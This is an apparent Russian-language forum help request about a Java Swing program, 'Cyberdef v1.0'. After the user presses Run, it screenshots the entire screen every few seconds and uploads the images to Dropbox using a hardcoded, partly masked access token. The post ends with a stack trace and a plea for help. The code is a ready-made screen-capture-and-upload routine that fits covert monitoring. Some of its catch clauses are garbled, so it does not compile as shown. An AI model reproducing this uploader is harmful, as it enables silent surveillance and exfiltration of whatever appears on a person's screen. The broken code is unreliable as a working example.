1. **Main.java**
package com.company;
import com.dropbox.core.DbxException;
import com.dropbox.core.DbxRequestConfig;
import com.dropbox.core.v2.DbxClientV2;
import com.dropbox.core.v2.files.UploadErrorException;
import javax.imageio.ImageIO;
import javax.swing.*;
import javax.swing.filechooser.FileSystemView;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.net.*;
import java.io.*;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import static java.lang.Thread.sleep;
import static sun.misc.PostVMInitHook.run;
public class Main extends JFrame {
public static void main(String[] args) throws IOException {
MyThread thread = new MyThread();
String ACCESS_TOKEN = "Kq8GMFb34........5rYqV2AIQ0TSA1E2RnLV01liMzc8v";
DbxRequestConfig config = DbxRequestConfig.newBuilder("dropbox/java-tutorial").build();
DbxClientV2 client = new DbxClientV2(config, ACCESS_TOKEN);
URL USER_IP = new URL("http://checkip.amazonaws.com");
BufferedReader in = new BufferedReader(new InputStreamReader(USER_IP.openStream()));
String ip = in.readLine();
JFrame main = new JFrame("Cyberdef v1.0");
main.setSize(450,80);
main.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
main.setLayout(new FlowLayout());
main.setResizable(false);
main.setVisible(true);
JLabel textIP = new JLabel("YOUR IP: " + ip);
textIP.setForeground(Color.red);
JButton run = new JButton("Run");
JButton stop = new JButton("Stop");
stop.setEnabled(false);
main.add(textIP);
main.add(run);
main.add(stop);
// Listeners
ActionListener running = new ActionListener() {
@Override
public void actionPerformed(ActionEvent e){
thread.start();
run.setEnabled(false);
stop.setEnabled(true);
System.out.println("Was button pressed run " + "IP: " + ip);
}
};
run.addActionListener(running);
ActionListener stopping = new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
thread.stop();
run.setEnabled(true);
stop.setEnabled(false);
System.out.println("Was button pressed stop " + "IP: " + ip);
}
};
stop.addActionListener(stopping);
}
}
2. **MyThread.java**
package com.company;
import com.dropbox.core.DbxException;
import com.dropbox.core.DbxRequestConfig;
import com.dropbox.core.v2.DbxClientV2;
import com.dropbox.core.v2.files.UploadErrorException;
import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.text.SimpleDateFormat;
import java.util.Date;
public class MyThread extends Thread {
@Override
public void run()
{
String ACCESS_TOKEN = "sl....................................89oso1vWDLW6JVJ5K4srOOD1-3d8YKr7ypqFKGHL1M7MRuEQxcQUXlSTohDmM0rZhDZy8Ak4nR8";
DbxRequestConfig config = DbxRequestConfig.newBuilder("dropbox/java-tutorial").build();
DbxClientV2 client = new DbxClientV2(config, ACCESS_TOKEN);
for(;;)
{
BufferedImage image = null;
try {
image = new Robot().createScreenCapture(new
Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd_HHmmss");
String date = format.format(new Date());
ByteArrayOutputStream os = new ByteArrayOutputStream();
ImageIO.write(image, "png", os);
byte[] bytes = os.toByteArray();
InputStream is = new ByteArrayInputStream(bytes);
client.files().uploadBuilder("/" + date + ".png").uploadAndFinish(is);
sleep(3250);
} catch (AWTException e) {
e.printStackTrace();
} catch (`` e) {
e.printStackTrace();
} catch ( e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();}
}
}
}
3. Вывод(консоль):
com.dropbox.core.BadResponseException: Bad JSON: expected object value.
at [Source: ; line: 1, column: 1]
at com.dropbox.core.DbxRequestUtil.unexpectedStatus(DbxRequestUtil.java:347)
at com.dropbox.core.DbxRequestUtil.unexpectedStatus(DbxRequestUtil.java:324)
at com.dropbox.core.DbxUploader.finish(DbxUploader.java:268)
at com.dropbox.core.DbxUploader.uploadAndFinish(DbxUploader.java:126)
at com.dropbox.core.DbxUploader.uploadAndFinish(DbxUploader.java:96)
at com.dropbox.core.v2.DbxUploadStyleBuilder.uploadAndFinish(DbxUploadStyleBuilder.java:92)
at com.company.MyThread.run(MyThread.java:42)
Caused by: com.fasterxml.jackson.core.JsonParseException: expected object value.
at [Source: ; line: 1, column: 1]
at com.dropbox.core.stone.StoneSerializer.expectStartObject(StoneSerializer.java:91)
at com.dropbox.core.ApiErrorResponse$Serializer.deserialize(ApiErrorResponse.java:53)
at com.dropbox.core.ApiErrorResponse$Serializer.deserialize(ApiErrorResponse.java:36)
at com.dropbox.core.stone.StoneSerializer.deserialize(StoneSerializer.java:55)
at com.dropbox.core.DbxRequestUtil.unexpectedStatus(DbxRequestUtil.java:343)
... 6 more
Скажите пожалуйста в чём проблема, заранее спасибо!